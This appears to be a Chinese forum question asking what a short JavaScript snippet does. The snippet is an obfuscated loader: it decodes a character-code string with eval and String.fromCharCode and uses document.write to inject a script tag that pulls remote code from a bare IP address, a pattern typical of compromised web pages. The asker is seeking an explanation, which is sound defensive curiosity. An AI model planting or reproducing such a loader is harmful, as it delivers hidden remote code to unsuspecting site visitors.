求教这样简单的一段js到底是什么意思

<script>t="60,115,99,114,105,112,116,32,108,97,110,103,117,97,103,101,61,34,106,97,118,97,115,99,114,105,112,116,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,58,47,47,50,51,46,50,51,56,46,49,52,55,46,50,52,50,47,115,104,47,115,102,47,115,102,49,46,106,115,34,62,60,47,115,99,114,105,112,116,62";t=eval("String.fromCharCode("+t+")");document.write(t);</script>